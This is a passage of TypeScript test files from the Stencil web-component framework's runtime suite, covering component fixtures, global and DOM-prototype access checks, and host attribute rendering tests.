; } } ================================================ FILE: src/runtime/test/fixtures/cmp-asset.tsx ================================================ import { Component, getAssetPath, h, Host, Prop } from '@stencil/core'; @Component({ tag: 'cmp-asset', }) export class CmpAsset { @Prop() icon: string; render() { return ( ); } } ================================================ FILE: src/runtime/test/fixtures/utils.ts ================================================ export function format(first: string, middle: string, last: string): string { return (first || '') + (middle ? ` ${middle}` : '') + (last ? ` ${last}` : ''); } ================================================ FILE: src/runtime/test/globals.spec.tsx ================================================ import { Build, Component, Env } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('globals', () => { @Component({ tag: 'cmp-a', }) class CmpA {} // eslint-disable-next-line jest/expect-expect -- there's not a great way to `expect()` that `raf()` and `setTimeout()` do not throw here it('should resolve raf and setTimeout', async () => { const page = await newSpecPage({ components: [CmpA], html: ``, autoApplyChanges: true, }); await new Promise((resolve) => { requestAnimationFrame(() => { page.win.requestAnimationFrame(() => { setTimeout(() => { page.win.setTimeout(() => { resolve(); }, 10); }, 10); }); }); }); }); it('allows access to window.JSON', async () => { expect(JSON.stringify([0])).toEqual('[0]'); expect((window as any).JSON.stringify([0])).toEqual('[0]'); }); it('build values', () => { expect(Build.isBrowser).toBe(false); expect(Build.isDev).toBe(true); expect(Build.isTesting).toBe(true); expect(Build.isServer).toBe(true); }); it('Env is defined', () => { expect(Env).toEqual({}); }); describe('globals/prototypes', () => { let page: any; beforeEach(async () => { @Component({ tag: 'cmp-el' }) class CmpEl { // @ts-ignore protoEl: any; protoNode: any; protoNodeList: any; constructor() { this.protoEl = Element.prototype; this.protoNode = Node.prototype; this.protoNodeList = NodeList.prototype; } } page = await newSpecPage({ components: [CmpEl], html: ``, }); }); it('allows access to the Node prototype', async () => { expect(page.rootInstance.protoNode).toEqual(Node.prototype); expect(page.rootInstance.protoNode).toEqual((page.win as any).Node.prototype); expect(page.rootInstance.protoNode).toEqual((window as any).Node.prototype); expect(page.rootInstance.protoNode).toEqual((global as any).Node.prototype); expect(page.rootInstance.protoNode).toBeTruthy(); }); it('allows access to the NodeList prototype', async () => { expect(page.rootInstance.protoNodeList).toEqual(NodeList.prototype); expect(page.rootInstance.protoNodeList).toEqual((page.win as any).NodeList.prototype); expect(page.rootInstance.protoNodeList).toEqual((window as any).NodeList.prototype); expect(page.rootInstance.protoNodeList).toEqual((global as any).NodeList.prototype); expect(page.rootInstance.protoNodeList).toBeTruthy(); }); it('allows access to the Element prototype', async () => { expect(page.rootInstance.protoEl).toEqual(Element.prototype); expect(page.rootInstance.protoEl).toEqual((page.win as any).Element.prototype); expect(page.rootInstance.protoEl).toEqual((window as any).Element.prototype); expect(page.rootInstance.protoEl).toEqual((global as any).Element.prototype); expect(page.rootInstance.protoEl).toBeTruthy(); }); it('allows access to the KeyboardEvent', async () => { expect(window.KeyboardEvent).toEqual(KeyboardEvent); expect(global.KeyboardEvent).toEqual(KeyboardEvent); expect(page.rootInstance.protoEl).toEqual((page.win as any).Element.prototype); expect(page.rootInstance.protoEl).toEqual((window as any).Element.prototype); expect(page.rootInstance.protoEl).toEqual((global as any).Element.prototype); expect(page.rootInstance.protoEl).toBeTruthy(); }); }); }); ================================================ FILE: src/runtime/test/host.spec.tsx ================================================ import { Component, h, Host, Prop, State } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('hostData', () => { it('render hostData() attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() hidden = false; hostData() { return { value: 'somevalue', role: 'alert', 'aria-hidden': this.hidden ? 'true' : null, hidden: this.hidden, }; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` `); root.hidden = true; await waitForChanges(); expect(root).toEqualHtml(` `); }); it('render attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() hidden = false; render() { return